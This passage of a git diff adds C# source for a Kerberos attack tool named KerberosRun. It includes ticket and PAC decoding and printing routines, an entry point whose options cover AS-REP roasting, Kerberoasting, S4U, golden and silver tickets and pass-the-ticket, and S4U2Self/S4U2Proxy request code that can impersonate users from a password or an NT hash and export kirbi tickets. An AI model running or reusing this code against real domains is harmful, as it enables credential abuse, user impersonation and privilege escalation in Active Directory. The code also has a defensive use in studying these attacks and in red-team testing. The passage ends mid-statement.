repMessage.SName.Name.Count(); i++) + { + Console.WriteLine(" - Name : {0}", repMessage.SName.Name[i]); + } + Console.WriteLine(" - EncryptedPaData :"); + if (repMessage.EncryptedPaData != null) + { + PrintPaData(repMessage.EncryptedPaData.MethodData, key, " "); + } + Console.WriteLine(" - Key :"); + Console.WriteLine(" - EType : {0}", repMessage.Key.EType); + Console.WriteLine(" - Value : {0}", (BitConverter.ToString(repMessage.Key.KeyValue.ToArray())).Replace("-", "")); + Console.WriteLine(" - KeyExpiration : {0}", repMessage.KeyExpiration); + //Console.WriteLine(" - CAddr : {0}", repMessage.CAddr); + //Console.WriteLine(" - Type : {0}", repMessage.CAddr[0].AddressType); + //var addrhex = BitConverter.ToString(repMessage.CAddr[0].Address.ToArray()); + //var addr = string.Join("", Regex.Split(addrhex, "-").Select(x => (char)Convert.ToByte(x, 16))); + //Console.WriteLine(" - Addresses : {0}", addr); + Console.WriteLine(" - Flags : {0}", repMessage.Flags); + Console.WriteLine(" - LastReq "); + Console.WriteLine(" - Type : {0}", repMessage.LastReq.FirstOrDefault().Type); + Console.WriteLine(" - Type : {0}", repMessage.LastReq.FirstOrDefault().Value); + + } + + //TICKET ENC-PART + public static void PrintTicketEnc(KrbEncTicketPart ticketEnc) + { + Console.WriteLine(" - AuthTime : {0}", ticketEnc.AuthTime); + Console.WriteLine(" - StartTime : {0}", ticketEnc.StartTime); + Console.WriteLine(" - EndTime : {0}", ticketEnc.EndTime); + Console.WriteLine(" - RenewTill : {0}", ticketEnc.RenewTill); + Console.WriteLine(" - CRealm : {0}", ticketEnc.CRealm); + Console.WriteLine(" - CName :"); + Console.WriteLine(" - Type : {0}", ticketEnc.CName.Type); + Console.WriteLine(" - Name : {0}", ticketEnc.CName.Name); + Console.WriteLine(" - AuthorizationData :"); + + if (ticketEnc.AuthorizationData != null) + { + foreach (var data in ticketEnc.AuthorizationData) + { + if (data.Type == AuthorizationDataType.AdIfRelevant) + { + Console.WriteLine(" - Type : {0}", ticketEnc.AuthorizationData.FirstOrDefault().Type); + + var decodedData = data.DecodeAdIfRelevant(); + + foreach (var data2 in decodedData) + { + if (data2.Type == AuthorizationDataType.AdWin2kPac) + { + Console.WriteLine(" - Type : {0}", data2.Type); + PrintPAC(data2); + } + else + { + Console.WriteLine("[-] Unknown AdIfRelevant Data Type : {0}", data2.Type); + } + } + } + else + { + Console.WriteLine("[-] Unknown Authorization Data sType : {0}", data.Type); + } + } + } + //CAddr Temp + string caddr = null; + if (ticketEnc.CAddr != null) + { + caddr = ticketEnc.CAddr.ToString(); + } + Console.WriteLine(" - CAddr : {0}", caddr); + Console.WriteLine(" - Flags : {0}", ticketEnc.Flags); + Console.WriteLine(" - Key :"); + Console.WriteLine(" - EType : {0}", ticketEnc.Key.EType); + Console.WriteLine(" - Value : {0}", (BitConverter.ToString(ticketEnc.Key.KeyValue.ToArray())).Replace("-", "")); + Console.WriteLine(" - Transited :"); + Console.WriteLine(" - Type : {0}", ticketEnc.Transited.Type); + Console.WriteLine(" - Contents : {0}", BitConverter.ToString(ticketEnc.Transited.Contents.ToArray())); + } + + + public static void PrintPAC(KrbAuthorizationData authData) + { + var pac = new PrivilegedAttributeCertificate(authData); + //Type + Console.WriteLine(" - Type : {0}", pac.Type); + //Version + Console.WriteLine(" - Version : {0}", pac.Version); + + //LogonInfo + if (pac.LogonInfo != null) + { + Console.WriteLine(" - LogonInfo : "); + Console.WriteLine(" - PacType : ", pac.LogonInfo.PacType); + Console.WriteLine(" - DomainId : "); + if (pac.LogonInfo.DomainId != null) + { + Console.WriteLine(" - Revision : {0}", pac.LogonInfo.DomainId.Revision); + Console.WriteLine(" - IdentifierAuthority : {0}", pac.LogonInfo.DomainId.IdentifierAuthority.Authority); + Console.WriteLine(" - SubAuthority : {0}", String.Join(", ", pac.LogonInfo.DomainId.SubAuthority.ToArray())); + Console.WriteLine(" - SubAuthorityCount : {0}", pac.LogonInfo.DomainId.SubAuthorityCount); + } + Console.WriteLine(" - ExtraIds : "); + if (pac.LogonInfo.ExtraIds != null) + { + foreach (var extraId in pac.LogonInfo.ExtraIds.ToArray()) + { + Console.WriteLine(" - Attributes : {0}", extraId.Attributes); + Console.WriteLine(" - Sid : {0}", extraId.Sid); + Console.WriteLine(" - Revision : {0}", extraId.Sid.Revision); + Console.WriteLine(" - IdentifierAuthority : {0}", extraId.Sid.IdentifierAuthority.Authority); + //Console.WriteLine(" - IdentifierAuthority : {0}", BitConverter.ToString(extraId.Sid.IdentifierAuthority.IdentifierAuthority.ToArray())); + Console.WriteLine(" - SubAuthority : {0}", String.Join(", ", extraId.Sid.SubAuthority.ToArray())); + Console.WriteLine(" - SubAuthorityCount : {0}", extraId.Sid.SubAuthorityCount); + } + } + + + Console.WriteLine(" - DomainSid : "); + Console.WriteLine(" - Attributes : {0}", pac.LogonInfo.DomainSid.Attributes); + Console.WriteLine(" - Id : {0}", pac.LogonInfo.DomainSid.Id); + Console.WriteLine(" - Value : {0}", pac.LogonInfo.DomainSid.Value); + Console.WriteLine(" - ExtraSidCount : {0}", pac.LogonInfo.ExtraSidCount); + Console.WriteLine(" - ExtraSids : "); + if (pac.LogonInfo.ExtraSids != null) + { + foreach (var extraSid in pac.LogonInfo.ExtraSids.ToArray()) + { + Console.WriteLine(" - Id : {0}", extraSid.Id); + Console.WriteLine(" - Attributes : {0}", extraSid.Attributes); + Console.WriteLine(" - Value : {0}", extraSid.Value); + } + } + + + Console.WriteLine(" - GroupCount : {0}", pac.LogonInfo.GroupCount); + Console.WriteLine(" - GroupId : {0}", pac.LogonInfo.GroupId); + Console.WriteLine(" - GroupIds : "); + if (pac.LogonInfo.GroupIds != null) + { + foreach (var groupId in pac.LogonInfo.GroupIds) + { + Console.WriteLine(" - RelativeId : {0}", groupId.RelativeId); + Console.WriteLine(" - Attributes : {0}", groupId.Attributes); + } + } + + + Console.WriteLine(" - GroupSid : {0}", pac.LogonInfo.GroupSid); + Console.WriteLine(" - GroupSids : "); + if (pac.LogonInfo.GroupSids != null) + { + foreach (var groupSid in pac.LogonInfo.GroupSids) + { + Console.WriteLine(" - Id : {0}", groupSid.Id); + Console.WriteLine(" - Attributes : {0}", groupSid.Attributes); + Console.WriteLine(" - Value : {0}", groupSid.Value); + } + } + + + Console.WriteLine(" - HomeDirectory : {0}", pac.LogonInfo.HomeDirectory); + Console.WriteLine(" - HomeDrive : {0}", pac.LogonInfo.HomeDrive); + Console.WriteLine(" - KickOffTime : {0}", pac.LogonInfo.KickOffTime); + Console.WriteLine(" - LastFailedILogon : {0}", pac.LogonInfo.LastFailedILogon); + Console.WriteLine(" - LastSuccessfulILogon : {0}", pac.LogonInfo.LastSuccessfulILogon); + Console.WriteLine(" - LogoffTime : {0}", pac.LogonInfo.LogoffTime); + Console.WriteLine(" - LogonCount : {0}", pac.LogonInfo.LogonCount); + Console.WriteLine(" - LogonScript : {0}", pac.LogonInfo.LogonScript); + Console.WriteLine(" - LogonTime : {0}", pac.LogonInfo.LogonTime); + Console.WriteLine(" - ProfilePath : {0}", pac.LogonInfo.ProfilePath); + Console.WriteLine(" - PwdCanChangeTime : {0}", pac.LogonInfo.PwdCanChangeTime); + Console.WriteLine(" - PwdLastChangeTime : {0}", pac.LogonInfo.PwdLastChangeTime); + Console.WriteLine(" - PwdMustChangeTime : {0}", pac.LogonInfo.PwdMustChangeTime); + Console.WriteLine(" - Reserved1 : {0}", String.Join(", ", pac.LogonInfo.Reserved1.ToArray().Select(x=> x.ToString()))); + Console.WriteLine(" - Reserved3 : {0}", pac.LogonInfo.Reserved3); + Console.WriteLine(" - ResourceDomainId : {0}", pac.LogonInfo.ResourceDomainId); + Console.WriteLine(" - ResourceDomainSid : {0}", pac.LogonInfo.ResourceDomainSid); + Console.WriteLine(" - ResourceGroupCount : {0}", pac.LogonInfo.ResourceGroupCount); + Console.WriteLine(" - ResourceGroupIds : {0}", pac.LogonInfo.ResourceGroupIds); + + Console.WriteLine(" - ResourceGroups : "); + if (pac.LogonInfo.ResourceGroups != null) + { + foreach (var resourceGroup in pac.LogonInfo.ResourceGroups) + { + Console.WriteLine(" - Attributes : {0}", resourceGroup.Attributes); + Console.WriteLine(" - Id : {0}", resourceGroup.Id); + Console.WriteLine(" - Value : {0}", resourceGroup.Value); + } + } + + + + Console.WriteLine(" - SubAuthStatus : {0}", pac.LogonInfo.SubAuthStatus); + Console.WriteLine(" - UserAccountControl : {0}", pac.LogonInfo.UserAccountControl); + Console.WriteLine(" - UserDisplayName : {0}", pac.LogonInfo.UserDisplayName); + Console.WriteLine(" - UserFlags : {0}", pac.LogonInfo.UserFlags); + Console.WriteLine(" - UserId : {0}", pac.LogonInfo.UserId); + Console.WriteLine(" - UserName : {0}", pac.LogonInfo.UserName); + Console.WriteLine(" - UserSessionKey : {0}", (BitConverter.ToString(pac.LogonInfo.UserSessionKey.ToArray())).Replace("-","")); + Console.WriteLine(" - UserSid : {0}", pac.LogonInfo.UserSid); + Console.WriteLine(" - DomainName : {0}", pac.LogonInfo.DomainName); + Console.WriteLine(" - ServerName : {0}", pac.LogonInfo.ServerName); + Console.WriteLine(" - BadPasswordCount : {0}", pac.LogonInfo.BadPasswordCount); + Console.WriteLine(" - FailedILogonCount : {0}", pac.LogonInfo.FailedILogonCount); + + } + + + + + //DelegationInformation + if (pac.DelegationInformation != null) + { + Console.WriteLine(" - {0} : ", pac.DelegationInformation.PacType); + Console.WriteLine(" - S4U2ProxyTarget : {0}", pac.DelegationInformation.S4U2ProxyTarget.Buffer); + Console.WriteLine(" - S4UTransitedServices : {0}", pac.DelegationInformation.S4UTransitedServices); + } + + + + //ClientInformation + if (pac.ClientInformation != null) + { + Console.WriteLine(" - ClientInformation : "); + Console.WriteLine(" - PacType : {0}", pac.ClientInformation.PacType); + Console.WriteLine(" - ClientId : {0}", pac.ClientInformation.ClientId); + Console.WriteLine(" - Name : {0}", pac.ClientInformation.Name); + Console.WriteLine(" - NameLength : {0}", pac.ClientInformation.NameLength); + } + + + + //KdcSignature + if (pac.KdcSignature != null) + { + Console.WriteLine(" - KdcSignature : "); + Console.WriteLine(" - PacType : {0}", pac.KdcSignature.PacType); + Console.WriteLine(" - RODCIdentifier : {0}", pac.KdcSignature.RODCIdentifier); + Console.WriteLine(" - Signature : {0}", (BitConverter.ToString(pac.KdcSignature.Signature.ToArray())).Replace("-", "")); + Console.WriteLine(" - SignatureData : [...]" );//pac.KdcSignature.SignatureData); + Console.WriteLine(" - Type : {0}", pac.KdcSignature.Type); + Console.WriteLine(" - Validated : {0}", pac.KdcSignature.Validated); + Console.WriteLine(" - Validator : "); + Console.WriteLine(" - Validator : {0}", pac.KdcSignature.Validator.Usage); + Console.WriteLine(" - Validator : {0}", (BitConverter.ToString(pac.KdcSignature.Validator.Signature.ToArray())).Replace("-","")); + } + + + //ServerSignature + if (pac.ServerSignature != null) + { + Console.WriteLine(" - ServerSignature : "); + Console.WriteLine(" - PacType : {0}", pac.ServerSignature.PacType); + Console.WriteLine(" - RODCIdentifier : {0}", pac.ServerSignature.RODCIdentifier); + Console.WriteLine(" - Signature : {0}", (BitConverter.ToString(pac.ServerSignature.Signature.ToArray())).Replace("-", "")); + Console.WriteLine(" - SignatureData : [...]");//pac.ServerSignature.SignatureData); + Console.WriteLine(" - Type : {0}", pac.ServerSignature.Type); + Console.WriteLine(" - Validated : {0}", pac.ServerSignature.Validated); + Console.WriteLine(" - Validator : "); + Console.WriteLine(" - Validator : {0}", pac.ServerSignature.Validator.Usage); + Console.WriteLine(" - Validator : {0}", (BitConverter.ToString(pac.ServerSignature.Validator.Signature.ToArray())).Replace("-", "")); + } + + + + //ClientClaims + if (pac.ClientClaims != null) + { + Console.WriteLine(" - ClientClaims : "); + Console.WriteLine(" - PacType : {0}", pac.ClientClaims.PacType); + Console.WriteLine(" - ClaimSetSize : {0}", pac.ClientClaims.ClaimSetSize); + Console.WriteLine(" - ClaimsSet : {0}", pac.ClientClaims.ClaimsSet); + Console.WriteLine(" - CompressionFormat : {0}", pac.ClientClaims.CompressionFormat); + Console.WriteLine(" - ReservedField : {0}", pac.ClientClaims.ReservedField); + Console.WriteLine(" - ReservedFieldSize : {0}", pac.ClientClaims.ReservedFieldSize); + Console.WriteLine(" - ReservedType : {0}", pac.ClientClaims.ReservedType); + Console.WriteLine(" - UncompressedClaimSetSize : {0}", pac.ClientClaims.UncompressedClaimSetSize); + } + + + //CredentialType + if (pac.CredentialType != null) + { + Console.WriteLine(" - CredentialType : "); + Console.WriteLine(" - PacType : {0}", pac.CredentialType.PacType); + Console.WriteLine(" - EncryptionType : {0}", pac.CredentialType.EncryptionType); + Console.WriteLine(" - SerializedData : {0}", pac.CredentialType.SerializedData); + Console.WriteLine(" - Version : {0}", pac.CredentialType.Version); + } + + + //DeviceClaims + if (pac.DeviceClaims != null) + { + Console.WriteLine(" - DeviceClaims : "); + Console.WriteLine(" - PacType : {0}", pac.DeviceClaims.PacType); + Console.WriteLine(" - ReservedType : {0}", pac.DeviceClaims.ReservedType); + Console.WriteLine(" - ReservedField : {0}", pac.DeviceClaims.ReservedField); + Console.WriteLine(" - ReservedFieldSize : {0}", pac.DeviceClaims.ReservedFieldSize); + Console.WriteLine(" - UncompressedClaimSetSize : {0}", pac.DeviceClaims.UncompressedClaimSetSize); + } + + + + //UpnDomainInformation + if (pac.UpnDomainInformation != null) + { + Console.WriteLine(" - UpnDomainInformation : "); + Console.WriteLine(" - PacType : {0}", pac.UpnDomainInformation.PacType); + Console.WriteLine(" - Upn : {0}", pac.UpnDomainInformation.Upn); + Console.WriteLine(" - UpnLength : {0}", pac.UpnDomainInformation.UpnLength); + Console.WriteLine(" - UpnOffset : {0}", pac.UpnDomainInformation.UpnOffset); + Console.WriteLine(" - Domain : {0}", pac.UpnDomainInformation.Domain); + Console.WriteLine(" - DnsDomainNameLength : {0}", pac.UpnDomainInformation.DnsDomainNameLength); + Console.WriteLine(" - DnsDomainNameOffset : {0}", pac.UpnDomainInformation.DnsDomainNameOffset); + } + + + + + + //DecodingErrors + if (pac.DecodingErrors != null) + { + Console.WriteLine(" - DecodingErrors : "); + foreach (var decodingError in pac.DecodingErrors) + { + Console.WriteLine(" - Type : {0}", decodingError.Type); + Console.WriteLine(" - Exception : {0}", decodingError.Exception); + Console.WriteLine(" - Data : {0}", decodingError.Data); + } + + } + //HasRequiredFields + Console.WriteLine(" - HasRequiredFields : {0}", pac.HasRequiredFields); + + + } + + + + + public static void PrintKirbi(string kirbiString) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbiString); + + + //KRB-CRED ::= [APPLICATION 22] SEQUENCE { + //pvno[0] INTEGER, + //msg - type[1] INTEGER, --KRB_CRED + //tickets[2] SEQUENCE OF Ticket, + //enc - part[3] EncryptedData + //} + var myCred = KrbCred.DecodeApplication(kirbiBytes.AsMemory()); + Console.WriteLine(" * {0}", myCred.MessageType); + Console.WriteLine(" * pvno : {0}", myCred.ProtocolVersionNumber); + Console.WriteLine(" * Tickets : {0}", myCred.Tickets[0]); + + + + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + //ticket-info[0] SEQUENCE OF KrbCredInfo, + //nonce[1] INTEGER OPTIONAL, + //timestamp[2] KerberosTime OPTIONAL, + //usec[3] INTEGER OPTIONAL, + //s-address[4] HostAddress OPTIONAL, + //r-address[5] HostAddress OPTIONAL + //} + var encryptedData = myCred.EncryptedPart; + var encCredPart = KrbEncKrbCredPart.DecodeApplication(encryptedData.Cipher); + + Console.WriteLine(" * Encrypted Data : "); + Console.WriteLine(" - Timestamp : {0}", encCredPart.Timestamp); + Console.WriteLine(" - USec : {0}", encCredPart.USec); + Console.WriteLine(" - SAddress : "); + if (encCredPart.SAddress != null) + { + Console.WriteLine(" - AddressType : {0}", encCredPart.SAddress.AddressType); + Console.WriteLine(" - Address : {0}", encCredPart.SAddress.Address); + } + Console.WriteLine(" - RAddress : "); + if (encCredPart.RAddress != null) + { + Console.WriteLine(" - AddressType : {0}", encCredPart.RAddress.AddressType); + Console.WriteLine(" - Address : {0}", encCredPart.RAddress.Address); + } + Console.WriteLine(" - Nonce : {0}", encCredPart.Nonce); + + + //KrbCredInfo::= SEQUENCE { + // key[0] EncryptionKey, + //prealm[1] Realm OPTIONAL, + //pname[2] PrincipalName OPTIONAL, + //flags[3] TicketFlags OPTIONAL, + //authtime[4] KerberosTime OPTIONAL, + //starttime[5] KerberosTime OPTIONAL, + //endtime[6] KerberosTime OPTIONAL + //renew - till[7] KerberosTime OPTIONAL, + //srealm[8] Realm OPTIONAL, + //sname[9] PrincipalName OPTIONAL, + //caddr[10] HostAddresses OPTIONAL + //} + Console.WriteLine(" - Ticket Info : "); + var ticketInfo = encCredPart.TicketInfo; + foreach (var info in ticketInfo) + { + Console.WriteLine(" - Realm : {0}", info.Realm); + Console.WriteLine(" - PName : "); + Console.WriteLine(" - Type : {0}", info.PName.Type); + Console.WriteLine(" - Name : {0}", info.PName.Name); + Console.WriteLine(" - Flags : {0}", info.Flags); + Console.WriteLine(" - AuthTime : {0}", info.AuthTime); + Console.WriteLine(" - StartTime : {0}", info.StartTime); + Console.WriteLine(" - EndTime : {0}", info.EndTime); + Console.WriteLine(" - RenewTill : {0}", info.RenewTill); + Console.WriteLine(" - SRealm : {0}", info.SRealm); + Console.WriteLine(" - SName : "); + Console.WriteLine(" - Type : {0}", info.SName.Type); + Console.WriteLine(" - Name : {0}", info.SName.Name); + Console.WriteLine(" - Key : "); + Console.WriteLine(" - EType : {0}", info.Key.EType); + Console.WriteLine(" - KeyValue : {0}", (BitConverter.ToString(info.Key.KeyValue.ToArray())).Replace("-", "")); + } + + } + + + } +} diff --git a/KerberosRun/KerberosRun/Program.cs b/KerberosRun/KerberosRun/Program.cs new file mode 100644 index 0000000..424cbf8 --- /dev/null +++ b/KerberosRun/KerberosRun/Program.cs @@ -0,0 +1,36 @@ +using System; +using CommandLine; + +namespace KerberosRun +{ + class MainClass + { + + public static async System.Threading.Tasks.Task Main(string[] args) + { + + PrintFunc.PrintBanner(); + + var options = new Options(); + if (!Parser.Default.ParseArguments(args, options)) { return; } + if (options.Ticket == null & options.Asreproast == false & options.Kerberoast == false + & options.AskTGS == false & options.AskTGT == false & options.S4U == false + & options.S4U2Self == false & options.Golden == false & options.Sliver == false) + { + Console.WriteLine(options.GetHelp()); + Environment.Exit(0); + } + + await Commands.ResolveCmd(options); + + Console.WriteLine(); + + } + + + + } + +} + + diff --git a/KerberosRun/KerberosRun/Properties/AssemblyInfo.cs b/KerberosRun/KerberosRun/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..5f0cc39 --- /dev/null +++ b/KerberosRun/KerberosRun/Properties/AssemblyInfo.cs @@ -0,0 +1,26 @@ +using System.Reflection; +using System.Runtime.CompilerServices; + +// Information about this assembly is defined by the following attributes. +// Change them to the values specific to your project. + +[assembly: AssemblyTitle("KerberosRun")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("${AuthorCopyright}")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// The assembly version has the format "{Major}.{Minor}.{Build}.{Revision}". +// The form "{Major}.{Minor}.*" will automatically update the build and revision, +// and "{Major}.{Minor}.{Build}.*" will update just the revision. + +[assembly: AssemblyVersion("1.0.*")] + +// The following attributes are used to specify the signing key for the assembly, +// if desired. See the Mono documentation for more information about signing. + +//[assembly: AssemblyDelaySign(false)] +//[assembly: AssemblyKeyFile("")] diff --git a/KerberosRun/KerberosRun/S4U.cs b/KerberosRun/KerberosRun/S4U.cs new file mode 100644 index 0000000..4c36f92 --- /dev/null +++ b/KerberosRun/KerberosRun/S4U.cs @@ -0,0 +1,545 @@ +using System; +using Kerberos.NET.Credentials; +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using System.Threading; +using Kerberos.NET.Transport; +using Microsoft.Extensions.Logging; +using Kerberos.NET; +using System.Collections.Generic; +using System.Linq; + +namespace KerberosRun +{ + class S4U + { + private static KerberosKey credKey; + //S4U2Self + public static async System.Threading.Tasks.Task S4U2Self(string kdc, + ILoggerFactory logger, + TcpKerberosTransport transport, + KrbAsRep asRep, + string username, + string password, + string domainName, + string impersonateuser, + bool outKirbi = false, + bool verbose = false, + bool ptt = false, + string hash = null, + EncryptionType etype = EncryptionType.RC4_HMAC_NT) + { + var now = DateTime.UtcNow; + + credKey = password != null ? + new KerberosPasswordCredential(username, password, domainName).CreateKey() : + new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); + + + KrbEncAsRepPart asDecrypted = password != null ? + new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)) : + new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)); + + var sessionKey = asDecrypted.Key; + + + //Request Service Ticket parameters + + ApOptions apOptions = ApOptions.Reserved; + KdcOptions kdcOptions = + KdcOptions.Forwardable | + KdcOptions.Renewable | + KdcOptions.RenewableOk; + string s4u = impersonateuser; + KrbTicket s4uTicket = null; + KrbTicket u2uServerTicket = null; + + + var rst = new RequestServiceTicket() + { + ApOptions = apOptions, + S4uTarget = s4u, + S4uTicket = s4uTicket, + UserToUserTicket = u2uServerTicket, + KdcOptions = kdcOptions, + Realm = domainName, + }; + + var tgt = asRep.Ticket; + + var additionalTickets = new List(); + + if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) + { + additionalTickets.Add(rst.UserToUserTicket); + } + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + rst.KdcOptions |= KdcOptions.EncTktInSkey; + } + if (rst.S4uTicket != null) + { + rst.KdcOptions |= KdcOptions.ConstrainedDelegation; + + additionalTickets.Add(rst.S4uTicket); + } + + + + //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT }; + + string[] name = { username }; + + var body = new KrbKdcReqBody + { + EType = KrbConstants.KerberosConstants.ETypes.ToArray(), + KdcOptions = rst.KdcOptions, + Nonce = KrbConstants.KerberosConstants.GetNonce(), + Realm = rst.Realm, + SName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_PRINCIPAL, + Name = name + }, + Till = KrbConstants.KerberosConstants.EndOfTime, + CName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_PRINCIPAL, + Name = name + } + }; + + + if (additionalTickets.Count > 0) + { + body.AdditionalTickets = additionalTickets.ToArray(); + } + + var bodyChecksum = KrbChecksum.Create( + body.Encode(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqChecksum + ); + + + //ApReq + //Authenticator + var authenticator = new KrbAuthenticator + { + CName = asRep.CName, + Realm = asRep.Ticket.Realm, + SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), + Checksum = bodyChecksum, + CTime = now, + CuSec = now.Millisecond //new Random().Next(0, 999999) + }; + + var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); + + subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; + authenticator.Subkey = subSessionKey; + + var encryptedAuthenticator = KrbEncryptedData.Encrypt( + authenticator.EncodeApplication(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqAuthenticator + ); + + + var apReq = new KrbApReq + { + Ticket = tgt, + ApOptions = apOptions, + Authenticator = encryptedAuthenticator + }; + + + + var paData = new List() + { + new KrbPaData + { + Type = PaDataType.PA_TGS_REQ, + Value = apReq.EncodeApplication() + } + }; + + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + var paS4u = new KrbPaForUser + { + AuthPackage = "Kerberos", + UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, + UserRealm = tgt.Realm + }; + paS4u.GenerateChecksum(sessionKey.AsKey()); + + paData.Add(new KrbPaData + { + Type = PaDataType.PA_FOR_USER, + Value = paS4u.Encode() + }); + } + + var tgs = new KrbTgsReq + { + PaData = paData.ToArray(), + Body = body + }; + + + + ReadOnlyMemory encodedTgs = tgs.EncodeApplication(); + + + Console.WriteLine("[*] Sending TGS-REQ [S4U2Self] ..."); + if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } + + + + CancellationToken cancellation = default; + cancellation.ThrowIfCancellationRequested(); + + + + KrbTgsRep tgsRep = null; + + + + + try + { + tgsRep = await transport.SendMessage( + rst.Realm, + encodedTgs, + cancellation + ); + } + catch (KerberosProtocolException pex) + { + Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); + Environment.Exit(0); + } + + + Console.WriteLine("[*] Receiving TGS-REP [S4U2Self] ..."); + try + { + KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt( + subSessionKey.AsKey(), + KeyUsage.EncTgsRepPartSubSessionKey, + (ReadOnlyMemory t) => KrbEncTgsRepPart.DecodeApplication(t)); + + + if (verbose) + { + PrintFunc.PrintRep(tgsRep, credKey); + + Console.WriteLine(" * [Decrypted Enc-Part]:"); + PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); + + //========================================= + + //TGS-REQ Ticket Enc-Part + KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt + (credKey, + KeyUsage.Ticket, + (ReadOnlyMemory t) => KrbEncTicketPart.DecodeApplication(t)); + + Console.WriteLine(" * [Decrypted Ticket Enc-Part]:"); + PrintFunc.PrintTicketEnc(ticketDecrypted); + //========================================= + + } + + if (outKirbi) + { + var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); + + Console.WriteLine("[+] TGS Kirbi:"); + Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); + } + + } + catch (Exception e) + { + Console.WriteLine("[x] {0}", e.Message); + } + + + + + return tgsRep; + + + } + + + //S4U2Proxy + //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo + //The KDC checks if the security principal name(SPN) for Service 2, + //identified in the sname and srealm fields of the KRB_TGS_REQ message, + //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter. + //If it is, then the KDC replies with a service ticket for Service 2. + //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`. + public static async System.Threading.Tasks.Task S4U2Proxy(string kdc, + ILoggerFactory logger, + TcpKerberosTransport transport, + KrbAsRep asRep, + KrbTgsRep s4u2self, + string username, + string password, + string domainName, + string impersonateuser, + string spn, + bool outKirbi = false, + bool verbose = false, + bool ptt = false, + string hash = null, + EncryptionType etype = EncryptionType.RC4_HMAC_NT) + { + + var now = DateTime.UtcNow; + + credKey = password != null ? + new KerberosPasswordCredential(username, password, domainName).CreateKey() : + new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); + + + KrbEncAsRepPart asDecrypted = password != null ? + new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)) : + new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)); + + var sessionKey = asDecrypted.Key; + + + //Request Service Ticket parameters + + ApOptions apOptions = ApOptions.Reserved; + KdcOptions kdcOptions = + KdcOptions.Forwardable | + KdcOptions.Renewable | + KdcOptions.RenewableOk; + string s4u = null; + KrbTicket s4uTicket = s4u2self.Ticket; + KrbTicket u2uServerTicket = null; + + + + var rst = new RequestServiceTicket() + { + ServicePrincipalName = spn, + ApOptions = apOptions, + S4uTarget = s4u, + S4uTicket = s4uTicket, + UserToUserTicket = u2uServerTicket, + KdcOptions = kdcOptions, + Realm = domainName + }; + + + var sname = rst.ServicePrincipalName.Split('/', '@'); + var tgt = asRep.Ticket; + + var additionalTickets = new List(); + + if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) + { + additionalTickets.Add(rst.UserToUserTicket); + } + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + rst.KdcOptions |= KdcOptions.Forwardable; + } + if (rst.S4uTicket != null) + { + rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket; + + additionalTickets.Add(rst.S4uTicket); + } + + //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT }; + string[] name = { }; + var body = new KrbKdcReqBody + { + EType = KrbConstants.KerberosConstants.ETypes.ToArray(), + KdcOptions = rst.KdcOptions, + Nonce = KrbConstants.KerberosConstants.GetNonce(), + Realm = rst.Realm, + SName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_SRV_INST, + Name = sname + }, + Till = KrbConstants.KerberosConstants.EndOfTime, + CName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_SRV_INST, + Name = name + }, + }; + + if (additionalTickets.Count > 0) + { + body.AdditionalTickets = additionalTickets.ToArray(); + } + + var bodyChecksum = KrbChecksum.Create( + body.Encode(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqChecksum + ); + + + //ApReq + //Authenticator + var authenticator = new KrbAuthenticator + { + CName = asRep.CName, + Realm = asRep.Ticket.Realm, + SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), + Checksum = bodyChecksum, + CTime = now, + CuSec = now.Millisecond //new Random().Next(0, 999999) + }; + + var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); + + subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; + authenticator.Subkey = subSessionKey; + + var encryptedAuthenticator = 